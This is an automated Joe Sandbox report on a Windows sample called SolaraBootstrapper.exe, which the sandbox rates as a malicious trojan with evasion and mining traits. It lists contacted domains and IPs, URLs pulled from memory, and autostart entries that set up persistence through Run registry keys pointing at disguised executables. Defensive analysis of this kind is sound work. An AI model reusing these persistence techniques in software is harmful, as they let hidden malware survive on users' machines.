https://yxtg.taojike.com.cn/tg/ttfc.html?sc=	0%	Avira URL Cloud	safe
http://anglebug.com/4836	0%	Avira URL Cloud	safe
https://issuetracker.google.com/issues/166475273	0%	Avira URL Cloud	safe
https://www.4399.com/flash/21674_3.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/204650_1.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/115339_1.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/203369_3.htm	0%	Avira URL Cloud	safe
https://internet-start.net/?	0%	Avira URL Cloud	safe
https://www.4399.com/flash/35538.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/6232_3.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/218066_3.htm	0%	Avira URL Cloud	safe
http://foo/bar/icons8-save-40.png	0%	Avira URL Cloud	safe
https://www.4399.com/flash/195990_1.htm	0%	Avira URL Cloud	safe
https://www.4399.com/flash/12669_4.htm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
edge-term4-fra2.roblox.com	128.116.123.3	true	false	0%, Virustotal, Browse	unknown
github.com	140.82.121.4	true	false	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.110.133	true	false	0%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	true	0%, Virustotal, Browse	unknown
clientsettings.roblox.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
198.187.3.20.in-addr.arpa	unknown	unknown	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.4399.com/flash/32979.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/180977_3.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://foo/bar/controls/statusbar/statusbar.baml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/127539_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://anglebug.com/4633	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://anglebug.com/7382	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/205462_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ncs.roblox.com/upload	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F18044A000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F18041D000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/145991_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.chambersign.org1	msedgewebview2.exe, 0000003A.00000002.1702671767.00003698005EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt.0	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F946A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/39379_2.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/55146_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/195673_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://unisolated.invalid/	msedgewebview2.exe, 0000003A.00000002.1704630702.00003698009F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/18012.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/zmhj.htm#search3-6407	msedgewebview2.exe, 0000003A.00000002.1702269800.00003698004F4000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://foo/Controls/ScrollViewer/ScrollViewer.xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6929	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://foo/bar/controls/textblock/textblock.baml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/217926_2.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/218860_1.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://defaultcontainer/Wpf.Ui;component/Controls/AccessText/AccessText.xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md	SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.00000000029AF000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://anglebug.com/7246	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/27924_2.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://anglebug.com/7369	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://anglebug.com/7489	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/18012_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/48504.htmhttps://www.4399.com/flash/48272_2.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/48504.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://issuetracker.google.com/161903006	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://foo/bar/controls/treeview/treeview.baml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/mainwindow.baml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/MainWindow.xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Controls/ToggleSwitch/ToggleSwitch.xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4722	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.4399.com/flash/zmhj.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/Wpf.Ui;component/Controls/TimePicker/TimePicker.xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/controls/window/window.baml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Controls/ThumbRate/ThumbRate.xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/icons8-open-file-40%20(1).png	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/69156_1.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/776_1.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://129fy.ie.chalai.net	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/198637_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/133630_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/218717_2.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/136516_3.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/203215_3.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/207195_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3502	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3623	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discovery.lenovo.com.cn/home062291	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3625	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3624	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/217855_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3862	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yxtg.taojike.com.cn/tg/ttfc.html?sc=	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4836	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://issuetracker.google.com/issues/166475273	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/21674_3.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/204650_1.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/115339_1.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/203369_3.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://internet-start.net/?	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/35538.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/218066_3.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/6232_3.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/icons8-save-40.png	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180A39000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/195990_1.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/12669_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/204056_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3970	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/205090_2.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Controls/Window/Window.xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/10379_3.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/203018_4.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/Wpf.Ui;component/Resources/DefaultFocusVisualStyle.xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5901	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3965	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.lepo.co/wpfui/2022/xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000000.1609627288.000001F1F6E92000.00000002.00000001.01000000.00000015.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F18046D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/New%20Project%20(37).png	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.micft.cx	powershell.exe, 0000001D.00000002.2112101893.000002451D904000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anglebug.com/7161	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anglebug.com/7162	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/new%20project%20(37).png	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/controls/progressbar/progressbar.baml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zipK	SolaraBootstrapper.exe, 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Bootstrapper.exe, 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, SolaraBootstrapper.exe, 00000006.00000000.1373137600.0000000000462000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/202828_2.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5906	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2517	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4937	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/198491_1.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/203453_2.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/Wpf.Ui;component/Controls/ContextMenu/ContextMenuLoader.xaml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1805A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://issuetracker.google.com/166809097	msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.4399.com/flash/191203_3.htm	msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/controls/ratingcontrol/ratingcontrol.baml	cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
128.116.123.3	edge-term4-fra2.roblox.com	United States	22697	ROBLOX-PRODUCTIONUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1464656
Start date and time:	2024-06-29 16:29:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	71
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	SolaraBootstrapper.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.mine.winEXE@70/862@8/5
EGA Information:	Successful, ratio: 18.8%
HCA Information:	Successful, ratio: 74% Number of executed functions: 544 Number of non-executed functions: 77
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, SIHClient.exe, schtasks.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SolaraBootstrapper.exe, PID 7728 because it is empty
Execution Graph export aborted for target fontreview.exe, PID 2288 because it is empty
Execution Graph export aborted for target fontreview.exe, PID 3272 because it is empty
Execution Graph export aborted for target fontreview.exe, PID 7888 because it is empty
Execution Graph export aborted for target oiDIGxjWBeQtCtbxHEXanoHsv.exe, PID 1280 because it is empty
Execution Graph export aborted for target oiDIGxjWBeQtCtbxHEXanoHsv.exe, PID 2852 because it is empty
Execution Graph export aborted for target oiDIGxjWBeQtCtbxHEXanoHsv.exe, PID 6916 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7404 because it is empty
Execution Graph export aborted for target smss.exe, PID 1644 because it is empty
Execution Graph export aborted for target smss.exe, PID 1836 because it is empty
Execution Graph export aborted for target smss.exe, PID 3404 because it is empty
Execution Graph export aborted for target smss.exe, PID 3800 because it is empty
Execution Graph export aborted for target smss.exe, PID 4128 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:29:59	API Interceptor	163x Sleep call for process: SolaraBootstrapper.exe modified
10:30:02	API Interceptor	192x Sleep call for process: powershell.exe modified
10:30:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run smss "C:\Program Files\Uninstall Information\smss.exe"
10:30:04	API Interceptor	1x Sleep call for process: fontreview.exe modified
10:30:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run oiDIGxjWBeQtCtbxHEXanoHsv "C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe"
10:30:13	API Interceptor	1x Sleep call for process: smss.exe modified
10:30:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fontreview "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
10:30:22	API Interceptor	22x Sleep call for process: cd57e4c171d6e8f5ea8b8f824a6a7316.exe modified
10:30:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run smss "C:\Program Files\Uninstall Information\smss.exe"
10:30:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run oiDIGxjWBeQtCtbxHEXanoHsv "C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe"
